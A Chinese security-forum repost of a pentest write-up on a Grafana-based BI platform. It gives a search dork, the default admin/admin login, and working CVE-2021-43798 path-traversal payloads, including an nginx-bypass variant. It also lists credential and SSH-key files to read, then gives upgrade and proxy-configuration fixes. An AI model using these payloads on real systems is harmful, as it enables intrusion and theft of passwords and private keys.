安全矩阵

 找回密码
 立即注册
搜索
查看: 813|回复: 0

某易BI平台渗透之旅

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-11-5 20:25:34 | 显示全部楼层 |阅读模式
某易BI平台渗透之旅 (qq.com)

0x01 前言
这篇文章由"潇湘信安技术交流群"@天明师傅投稿,记录的是他在公司某个安服项目中碰到了这个BI平台,机缘巧合之下发现了这个通用漏洞,特意投稿分享下经验。

0x02 渗透之旅
刚开始采用awvs、afrog和nuclei进行全量的漏洞扫描时未有任何发现,后面尝试目录探测时有了新的发现。

峰回路转之dirsearch的救赎

  1. [09:42:33] 200 -   32KB - /monitoring/                                      
  2. [09:42:33] 200 -   32KB - /monitor/
  3. [09:42:33] 200 -   32KB - /monitoring
  4. [09:42:34] 200 -   32KB - /monitor

  5. [09:41:39] 200 -  751B  - /callback
复制代码


/monitoring/、/monitor/这俩路径绝对会触发302跳转,callback则是随机,可能触发跳转。
编辑

这个就是今天的主角。

正常请求BI平台:
编辑

zoomeye dork

           

iconhash:"dfbaaf8af7911cfb7eb068d8b19f6799"
编辑

影响范围:仅在V 7.20版本测试成功。

版本号可以根据页面当中的用户手册来判断。
编辑
编辑

思路1-默认口令
默认口令:admin admin,不知道其他目标如何,至少我碰上的目标未修改。不过即使修改了也无伤大雅,有一个文件读取漏洞等着你,可以搞到grafana的账号密码。

思路2-Grafana文件读取
CVE-2021-43798这个漏洞信息的部分可自行百度了解,此处单刀直入,直接说利用细节。

最初的验证POC为:

           

/monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd

此处利用应修改为:

           

/monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd

注:一般情况下就成了,如果对方使用了nginx/apache反代,中间件的URI_normalization机制导致URL被标准化。此时原有payload就会失效,服务端会爆400错误。如下图所示:

  1. # proxy_grafana.conf

  2. server {
  3.     listen         8081;
  4.     server_name    127.0.0.1;
  5.     charset        utf-8;
  6.     location / {
  7.         proxy_pass http://192.168.1.100:3000;
  8.     }
  9. }
复制代码

编辑

此时可采用bypass 400的payload进行绕过,payload为:

           

/monitor/public/plugins/text/#/../../../../../../../../../../etc/passwd
编辑

深入利用

           

  •        

/etc/grafana/grafana.ini         #grafana控制台的管理员明文密码/var/lib/grafana/grafana.db      #控制台其他账户
/etc/grafana/grafana.ini
编辑

linux文件遍历,此处只举出比较重要的,更全面的可以参考Web-Fuzzing-Box的Linux_File.txt

  1. /conf/defaults.ini
  2. /etc/grafana/grafana.ini
  3. /etc/passwd
  4. /etc/shadow
  5. /home/grafana/.bash_history
  6. /home/grafana/.ssh/id_rsa
  7. /root/.bash_history
  8. /root/.ssh/id_rsa
  9. /usr/local/etc/grafana/grafana.ini
  10. /var/lib/grafana/grafana.db
  11. /proc/net/fib_trie
  12. /proc/net/tcp
  13. /proc/self/cmdline
复制代码
关于nginx proxy error 400相关文章可参考,这里我用的是第二篇文章里的一个payload。

           

  •        

https://articles.zsxq.com/id_baeb9hmiroq5.html    https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/#_Nginx_400
关于CVE-2021-43798的修复

           
  •         升级到安全版本,即版本号>8.3.0。

           
  •         临时防御:修改proxy_grafana的配置如下所示:

Tips:重点是proxy_pass的端口号后一定要加上/
  1. # proxy_grafana.conf
  2. server {
  3. listen         8081;
  4. server_name    127.0.0.1;
  5. charset        utf-8;
  6. location / {
  7. proxy_pass http://192.168.1.100:3000/;
  8.     }
  9. }
复制代码


0x03 参考文章

           

  •        

https://github.com/jas502n/Grafana-CVE-2021-43798https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:38 , Processed in 0.012785 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表